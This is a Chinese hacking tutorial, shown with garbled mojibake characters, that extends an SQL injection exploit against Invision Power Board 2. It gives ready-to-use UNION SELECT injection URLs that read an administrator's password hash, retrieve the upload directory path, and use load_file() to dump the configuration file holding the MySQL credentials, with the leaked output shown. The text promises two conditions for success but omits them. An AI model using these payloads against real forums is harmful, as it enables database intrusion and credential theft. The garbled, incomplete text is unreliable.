在上一篇《PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)——附帶IPB2的漏洞利用》,利用IPB2的注入漏洞獲得管理員的資料,修改COOKIE可以得到前臺(tái)的管理權(quán)限。不少人埋怨沒有什么用,其實(shí)這個(gè)是大多數(shù)人不了解IPB2的原因。
因?yàn)檫^濾了很多特殊字符,包括單引號(hào),全部轉(zhuǎn)為十進(jìn)制了。
其實(shí)充分發(fā)揮一下想象力。也是有可能拿到后臺(tái)管理員或者webshell的,注意,是可能,因?yàn)檫@個(gè)并不是通殺的,為什么不是通殺的,往下看就知道了。
我也不多說了。對(duì)于這個(gè),我看最直接的目的就是看MYSQL的連接信息。怎么看?讀文件唄!
我想不管是讀文件和上傳,這個(gè)注入漏洞都給我們提供了最直接的條件,如果了解IPB2的人就應(yīng)該知道。上傳的目錄是保存數(shù)據(jù)庫里的,因此。我們根本不需要怎么提交、不需要構(gòu)造什么變量去報(bào)錯(cuò)暴路徑,IPB2也沒有這個(gè)條件去暴這些信息。就算出錯(cuò)也只返回特定的信息。
IPB2的上傳目錄的路徑是保存在ibf_conf_settings表里,所以我們可以構(gòu)造SQL語句,把這個(gè)路徑給直接反饋到眼前。
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, member_login_key, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_members%20where%20id=1%20/* |
這樣是讀取id為1的用戶的密碼散列,同樣的,我們?nèi)绻峤唬?/p>
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_id=59%20/* |
就會(huì)返回上傳目錄的絕對(duì)路徑:
|
[quote=5,Jan 1 1970, 08:00 AM] h:/www/ipb2/uploads [right][snapback]1[/snapback][/right] [/quote] |
不過,默認(rèn)應(yīng)該是這樣可以了的,但是如果管理員把conf_id改變的話,可能就不是59了。這時(shí)我們直接提交:
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/* |
因?yàn)閏onf_key為upload_dir的相對(duì)應(yīng)的conf_value就是上傳目錄的絕對(duì)路徑,但是因?yàn)槭亲址覀儾荒苡脝我?hào),只能轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也會(huì)返回絕對(duì)路徑。
有了絕對(duì)路徑能做什么呢?知道可以允許寫的目錄在哪了。知道MYSQL連接文件在哪了,還等什么?讀文件吧。假設(shè)上面的,我們的目錄是“h:/www/ipb2/”,那么連接文件就是“h:/www/ipb2/conf_global.php”,轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,提交:
|
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/* |
文件就出來了:
|
[quote=5,Jan 1 1970, 08:00 AM] < ?php $INFO['sql_driver'] = 'mysql'; $INFO['sql_host'] = 'localhost'; $INFO['sql_database'] = 'ipb2'; $INFO['sql_user'] = 'root'; $INFO['sql_pass'] = ''; $INFO['sql_tbl_prefix'] = 'ibf_'; $INFO['sql_debug'] = '1'; $INFO['board_start'] = '1102196141'; $INFO['installed'] = '1'; $INFO['php_ext'] = 'php'; $INFO['safe_mode'] = '0'; $INFO['board_url'] = 'http://localhost/ipb2'; $INFO['admin_group'] = '4'; $INFO['guest_group'] = '2'; $INFO['member_group'] = '3'; $INFO['auth_group'] = '1';
?> [right][snapback]1[/snapback][/right] [/quote] |
注意注意!剛才說了,不是通殺的,有兩個(gè)條件:
本文完全是技巧和思路的文章,沒有多大技術(shù)含量,都是老技術(shù)了,如果你不了解IPB2,也不知道在數(shù)據(jù)庫里放有絕對(duì)路徑吧?